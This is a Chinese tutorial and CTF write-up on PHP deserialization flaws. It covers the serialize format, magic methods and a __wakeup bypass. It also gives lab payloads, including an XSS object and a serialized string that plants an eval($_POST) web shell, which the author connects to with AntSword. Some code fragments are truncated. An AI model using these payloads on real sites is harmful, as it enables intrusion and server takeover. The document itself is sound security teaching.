序列化是将一个对象转换为字符串以便存储传输的一种方式,反序列化则是将一段字符串转换为一个对象供程序使用,是序列化的逆过程。在php中,序列化和反序列化所对应的函数为serialize()和unserialize()。
序列化和反序列化本身没有问题,当程序进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数(称为魔术方法)。如果传入unserialize()函数的参数是用户能控制的,那么用户可以输入一些恶意代码到函数中,进行反序列化的时候就有可能会触发对象中的一些魔术方法,从而导致反序列化漏洞。
1、有反序列化函数unserialize()
2、传入的参数用户可以控制
3、可利用的类中有魔术方法可以利用
将对象转换为一段字符串方便存储传输。
O:3:"Stu":2:{s:4:"name";s:3:"biu";s:3:"age";i:18;}
O:代表object
3:代表对象名字长度为一个字符
Stu:对象的名称
2:代表对象里面有二个变量
s:数据类型(string)
4:变量名称的长度
name:变量名称
3:变量值的长度
biu:变量值
s:数据类型(string)
3:变量名称的长度
age:变量名称
i:数据类型(int)
18:变量值
从序列化的结果中恢复对象,将一段字符串转换为对象
//序列化结果
O:3:"Stu":2:{s:4:"name";s:3:"biu";s:3:"age";i:18;}
//反序列化结果
Stu Object
(
[name] => biu
[age] => 18
)
__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串时使用
__call() 在对象上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__sleep() 在对象在被序列化之前运行
__wakeup() 如果有,在反序列化之前调用
对象被创建了__consrtuct()
执行了序列化__sleep()
O:3:"Stu":2:{s:4:"name";s:3:"biu";s:3:"age";i:18;}
对象被当做字符串输出__toString()biu
执行了反序列化__wakeup()
Stu Object
(
[name] => biu
[age] => 18
)
对象被销毁了__destruct()
对象被销毁了__destruct()
对象属性个数的值大于实际属性个数时,会绕过__wakeup执行。
例如:O:3:"Stu":3:{s:4:"name";s:3:"biu";s:3:"age";i:18;}
3 > 2个属性个数,将绕过__wakeup执行。
如果变量前是protected,则是<0x00>*<0x00>属性名的形式
如果变量前是private,则是<0x00>类名<0x00>属性名的形式
此时该字符串复制会发生错误,无法显示,需要将字符串进行urlencode和base64编码
protected $name = 'biu';
private $age = 18;
例如:O:3:"Stu":2:{s:7:"<0x00>*<0x00>name";s:3:"biu";s:8:"<0x00>Stu<0x00>age";i:18;}
1、进入反序列函数时,对用户输入的参数进行过滤
2、 不要将用户输入的参数或者用户可控的参数直接放到反序列函数
找到靶场反序列化源码
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="大兄弟,来点劲爆点儿的!
";
}else{
$html.="{$unser->test}
";
}
参数接受为POST类型,将参数传递给“o”,再进行反序列化,构造payload
alert(/xss/)";
}
$b=new S();
$a = serialize($b);
print_r($a);
?>
O:1:"S":1:{s:4:"test";s:29:"";}
首先进入靶场环境,发现什么都没有,对其进行目录扫描,发现有代码压缩包,对其进行下载
有一个session.php文件,接下来对其进行代码审计,发现在__destruct()函数下有命令执行的函数eval,接受参数为"aa"。我的想法就是构造payload,将参数传递到eval()函数进行执行命令。
info = 'phpinfo();';
}
function __destruct()
{
eval($this->info);
}
}
if(isset($_GET['aa']))
{
if(unserialize($_GET['aa'])=='phpinfo')
{
$m = new Anti();
}
}
else
{
header("location:index.html");
}
?>
构造payload
O:4:"Anti":1:{s:4:"info";s:16:"eval($_POST[a]);";}
蚁剑连接成功,成功找到flag(PTB{c3b9a949-d702-451a-b05e-7e2739471882})。